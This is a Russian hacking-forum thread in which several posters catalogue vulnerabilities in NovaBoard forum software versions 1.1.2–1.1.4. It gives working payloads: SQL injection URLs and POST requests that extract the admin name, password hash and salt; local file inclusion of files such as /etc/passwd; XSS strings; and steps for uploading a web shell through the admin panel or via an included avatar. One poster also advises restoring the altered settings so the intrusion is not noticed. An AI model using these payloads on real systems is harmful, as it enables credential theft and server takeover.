Старый 04.07.2010, 23:00   #1
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию Обзор уязвимостей NovaBoard Forum

Обзор уязвимостей NovaBoard Forum

Official site: www.novaboard.net
Version: 1.1.2

------------------------------------------------------------------------------
Default table prefix: novaboard_
Table with users: members
Columns:
Код:
|id|name|usertitle|email|role|password|password_time|pass_salt|theme|board_lang|time_offset|read_all_posts|avatar|remote_avatar|signature|location|nationality|msn|aol|yahoo|skype|xbox|wii|ps3|last_online|warn_level|suspend_date|whiteboard|register_date|verified|user_posts|banned|new_pms|allow_admin_email|moderate|subscribe_pm|never_spam|
Алгоритм хэширования паролей:
Код:
// Generate salt...
$salt = substr(md5(uniqid(rand(), true)), 0, 9);
// Salt the password
$password= md5($password . $salt);
------------------------------------------------------------------------------

SQL injection

#1
Vuln file: /includes/pages/search.php
PHP код:
/*...*/
$forum=implode(",",$_GET['forums']);
$forum htmlentities($forum);
$forum escape_string($forum);
/*...*/
$sql989 "SELECT MEMBER, TIME, TOPIC_ID, FORUM_ID, CONTENT, ID, EDIT_TIME, EDIT_MEMBER, MATCH(TITLE, DESCRIPTION, CONTENT) AGAINST ('*$searchstring*' IN BOOLEAN MODE) AS score FROM {$db_prefix}posts WHERE FORUM_ID IN($forum) AND TIME >= '$startdate' AND TIME <= '$enddate' AND MEMBER='$id' AND APPROVED='1' AND MATCH(TITLE, DESCRIPTION, CONTENT) AGAINST ('*$searchstring*' IN BOOLEAN MODE) ORDER BY score DESC";
}
/*...*/ 
Exploit:
Код:
http://[host]/[path]/index.php?page=search&topic=1&pf=1&search=xek&author_id=1&forums[]=1)+union+select+null,null,null,5,concat_ws(0x3a,name,password,pass_salt),null,null,null,null+from+[prefix]members+where+id=1+--+
#2
Vuln file: /includes/forums/addreply.php
PHP код:
if ($_COOKIE['mqpid']!=''){

$array=array($_COOKIE['mqpid']);
$array implode(",",$array);
$quote="";

$query217 "select MEMBER, CONTENT, TOPIC_ID, ID  from {$db_prefix}posts WHERE ID IN($array) ORDER BY ID desc";
$result217 mysql_query($query217) or die("addreply.php - Error in query: $query217") ; 
Need: user account
Exploit:
Код:
GET http://[host]/[path]/index.php?func=addreply&topic=1 HTTP/1.0

Cookie: mqpid=1) union select null,concat_ws(0x3a,name,password,pass_salt),null,null from [prefix]members where id=1/*
#3
Vuln file: /includes/header.php
PHP код:
/*...*/
        
if (isset($_GET['topic']) && ($_GET['page']!='search')){

            
$location_text="";

            
$query211 "select CONTENT from {$db_prefix}posts WHERE TOPIC_ID='$topic' AND TITLE!=''";
            
$result211 mysql_query($query211) or die("topic.php - Error in query: $query211");
/*...*/ 
Need: magic_quotes = OFF
Exploit:
Код:
http://[host]/[path]/index.php?page=list&forum=1&topic=xek'+union+select+concat_ws(0x3a,name,password,pass_salt)+from+[prefix]members+where+id=1+--+
Note: Вывод ищем в исходном коде страницы:
Код:
<meta name="description" content="{login:hash:salt}" />
Local File Inclusion

Vuln file: /includes/structure.php
PHP код:
/*...*/
            
$page    =    escape_string($_GET['page']);
/*...*/
        
if (file_exists("themes/$theme/includes/pages/$page.php")){
            include 
"themes/$theme/includes/pages/$page.php";
        }
        elseif (include(
"includes/pages/$page.php")){
        }
/*...*/ 
Exploit:
Код:
http://[host]/[path]/index.php?page=../../download
Note: null byte экранируется...


Active XSS
Exploit:
Код:
[img]javascript:alert(1)[/img]
Note: уязвимость в add reply


Passive XSS
Exploit:
Код:
http://[host]/[path]/index.php?page=search&search=xek&topic=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&author_id=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&author=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&startdate=1"><script>alert(1)</script>

http://[host]/[path]/index.php?page=search&search=xek&enddate=1"><script>alert(1)</script>

http://[host]/[path]/index.php/"><script>alert(1)</script>
Disclosure of Table Prefix
Exploit:
Код:
http://[host]/[path]/index.php?topic=1&limit=x
Note: на это форум выдаст примерно такую ошибку:
Цитата:
topic.php - Error in query: select MEMBER, TIME, FORUM_ID, CONTENT, ID, EDIT_TIME, EDIT_MEMBER, EDIT_REASON, TITLE, DESCRIPTION, STICKY, ANNOUNCE, REPORTED, APPROVED from novaboard_posts WHERE TOPIC_ID='1' AND APPROVED='1' ORDER BY TIME asc LIMIT -30, 30
------------------------------------------------------------------------------
Upload shell from Admin CP

Пакуем шелл winzip'ом
Далее переходим в Admin CP --> Board Settings --> Modules Settings
аплодим наш чудо-модуль..
Шелл будет находиться в /modules/[name_shell].php

Таким же способом можно залить через Themes Settings
шелл будет в папке themes
------------------------------------------------------------------------------
P.S. все найденные уязвимости тестировались на NovaBoard v1.1.2. Есть большая вероятность, что эти уязвимости будут работать и на более ранних версиях.

Последний раз редактировалось RulleR; 05.07.2010 в 21:30..
RulleR вне форума   Ответить с цитированием
Старый 04.07.2010, 23:04   #2
RulleR
 
Аватар для RulleR
 
Регистрация: 04.07.2010
Сообщений: 39
Репутация: 58
По умолчанию

Version: 1.1.3

SQL injection + Local File Inclusion

Vuln file: /includes/pages/messages.php
PHP код:
/*...*/
elseif($_GET['act']=='new'){

if (
$_POST['content']!='' && $_POST['member_to']!='' && $_POST['member_to']!='0'){

$token_id $_POST['token_id'];
$token_id escape_string($token_id);

$token_name "token_messages_$token_id";

 if (isset(
$_POST[$token_name]) && isset($_SESSION[$token_name]) && $_SESSION[$token_name] == $_POST[$token_name]){

// do a check and make sure the username exists, if not, return to error page

$member_to=$_POST['member_to'];
$member_to=escape_string($member_to);
$query2167        'SELECT name, email, subscribe_pm, board_lang FROM ' $db_prefix 'members WHERE id = ' $member_to;
$result2167        mysql_query($query2167) or die("messages.php - Error in query: $query2167");
$row            mysql_fetch_assoc($result2167);
$members_result    mysql_num_rows($result2167);

    
$is_subscribed         $row['subscribe_pm'];
    
$subscriber_name    $row['name'];
    
$subscriber_email    $row['email'];
    
$recipient_lang        $row['board_lang'];
/*...*/
if ($is_subscribed == 1)
{
/*...*/
    
include $nova_root '/lang/' $recipient_lang '/lang_forum.php';

    
$lang['email_pm_content']    = str_replace("<%subscriber>"$subscriber_name$lang['email_pm_content']);
    
$lang['email_pm_content']    = str_replace("<%site>"$nova_domain$lang['email_pm_content']);
    
$lang['email_pm_content']    = str_replace("<%sitename>"$site_name$lang['email_pm_content']);
    
$lang['email_pm_title']        = str_replace("<%from>"$from$lang['email_pm_title']);
    
$from                        "From: $site_name <$board_email>\r\n";

    
mail($subscriber_email$lang['email_pm_title'], $lang['email_pm_content'], $from);
/*...*/ 
Need: user account
Exploit:

#1 SQLI
Код:
POST http://[host]/[path]/index.php?page=messages&act=new HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded

subject=Hello;
member_to=9999999 union select concat_ws(0x3a,name,password,pass_salt),0x[your_email_in_hex],1,0x656e676c6973685f656e from novaboard_members where id=1;
content=ololo;
token_id=[value];
token_messages_xxxx=[value];
И на указанное мыло придет письмо:
Цитата:
Hi {admin_login:hash:salt},

You have received this email because you wish to be notified when you have received a new Private Message.

Follow this link to view your inbox: http://[host]/[path]/index.php?page=messages&act=inbox

Regards,
xxx Team.
#2 LFI
Код:
POST http://[host]/[path]/index.php?page=messages&act=new HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded

subject=Hello;
member_to=9999999 union select null,null,1,0x[path_to_local_file_in_hex]00
content=ololo;
token_id=[value];
token_messages_xxxx=[value];
Note: магические кавычки идут лесом

Последний раз редактировалось RulleR; 20.07.2010 в 15:53..
RulleR вне форума   Ответить с цитированием
Старый 05.07.2010, 23:07   #3
The matrix
 
Аватар для The matrix
 
Регистрация: 05.07.2010
Сообщений: 39
Репутация: 46
По умолчанию

Тестил на последней 1.1.4
Код:
http://www.novaboard.net/2010/06/novaboard-release-1-1-4/
1) LFI
---------------------------------
Need
Rg=on
mq=off
---------------------------------
structure.php
PHP код:
    if (isset($_GET['forum']) && is_numeric($_GET['forum'])){

            
$forum_id        =    $_GET['forum'];

            
$query2            =    "select THEME from {$db_prefix}categories WHERE ID = '$forum_id'" ;
            
$result2        =    mysql_query($query2) or die("structure.php - Error in query: $query2");
            
$num_result        =    mysql_num_rows($result2);
            if (
$num_result!='0'){
                
$category_theme    =    mysql_result($result20);
            }
            else{
                
$category_theme    =    "";
            }    

        }
        
        if (isset(
$category_theme) && ($category_theme!='')){
            
$theme    =    $category_theme;
        }
// need register_globals
........................................
if (isset(
$category_theme) && ($category_theme!='')){
            
$theme    =    $category_theme;
........................................
if (
file_exists("themes/$theme/includes/header.php")){
            include 
"themes/$theme/includes/header.php";
        }
......................................... 
Как юзать
Код:
http://localhost/nova/index.php?category_theme=../../../../../../../../../[local_file]%00
2) Нашел еще скули требующие rg=on и mq=off
Выложу только самую интересную.
verify.php
PHP код:
if ($_GET['id']!=''){
$hash_id=$_GET['id'];
$hash_id=escape_string($hash_id);

mysql_query("UPDATE {$db_prefix}members SET verified = '1' WHERE md5(pass_salt) = '$hash_id'");

$sql="SELECT ID, NAME FROM {$db_prefix}members WHERE md5(pass_salt) = '$hash_id'";
$sql_result mysql_query($sql) or die ("download.php - Error in query: $sql");
while(
$row mysql_fetch_array($sql_result)) {
    
$new_id $row['ID'];
    
$name$row['NAME'];
}
// register_globals=on
mysql_query("UPDATE {$db_prefix}settings SET stats_member_id='$new_id', stats_member_name='$name', stats_members=stats_members+1"); 
инъект в Update
таблица settings хранит основные настройки форума, мы ее можем update
---------------------------
need
rg=on
mq=off
---------------------------
как юзать.
Если куки не очищены-> чистим
применить можно по разному
1. вывести данные админа
Код:
http://localhost/nova/index.php?page=verify&id=1222&name=1',site_name=(select%20concat(name,0x3a,password,0x3a,pass_salt)%20from%20novaboard_members%20where%20id=1)+--+
идем на главную страницу, вывод палим в имени форума. Не забудьте потом вернуть на место. ато палево.
2. LFI через скуль
если пользователь не авторизован, то инклудится стандартная тема, название которой берется из этой таблицы
structure.php
PHP код:
$query2        =    "select THEME from {$db_prefix}settings" ;
        
$result2    =    mysql_query($query2) or die("Have you run install.php yet?") ;                                  
        
$theme        =    mysql_result($result20);
.......................
        if (
file_exists("themes/$theme/includes/header.php")){
            include 
"themes/$theme/includes/header.php";
        }
....................... 
Код:
http://localhost/nova/index.php?page=verify&id=1222&name=1',theme='../../../../../../../[local_file]%00'+--+
теперь идем на главную страницу, и вместо нее будет висеть проинклуденный файл(если инклудить аватар с пхп кодом шелла, вместо главной страницы будет висеть шелл) Тоже надо не забыть вернуть потом на место тему которая была ато палево.
The matrix вне форума   Ответить с цитированием
Старый 27.10.2010, 23:52   #4
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

NovaBoard1.1.4 еще две LFI, но зависимости mq=Off, rg=ON:

#1 (тут еще надо быть зарегеным):

FILE:
Код:
/[host]/[path]/uploads/upload.php
PHP код:
...
if (isset(
$member_lang) && $member_lang!=''){ 
    
$board_lang="$member_lang"


// Do you speekee english? 
    
if (isset($_COOKIE['nova_lang']) && (!isset($_COOKIE['nova_name']))){ 
        
$board_lang escape_string($_COOKIE['nova_lang']); 
         
        if (!
file_exists("../lang/$board_lang/lang_forum.php")){ 
            
$board_lang "english_en"
        } 
         
    } 

// include the language...     
include "../lang/$board_lang/lang_forum.php";
... 

Код:
http://localhost/NovaBoard1.1.4/uploads/upload.php?member_lang=../../../../../../../../etc/passwd%00
#2:

По очень многим файлам раскиданы примерно такие строчки:

PHP код:
if (file_exists("themes/$theme/modules/$module/templates/includes/$template_folder/before/$template_hook.php"))  
                    {  
                        include 
$nova_root "themes/$theme/modules/$module/templates/includes/$template_folder/before/$template_hook.php";  
                    }  
                    else  
                    {              
                        include 
$nova_root "modules/$module/templates/includes/$template_folder/before/$template_hook.php";  
                    } 
и $theme в инклудах не определена, что приводит к вот таким вот LFI:

Код:
http://localhost/NovaBoard1.1.4/index.php?theme=../../../../../../../../../etc/passwd%00
Pashkela вне форума   Ответить с цитированием
Ответ

Метки
lfi, sql-inj, xss

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot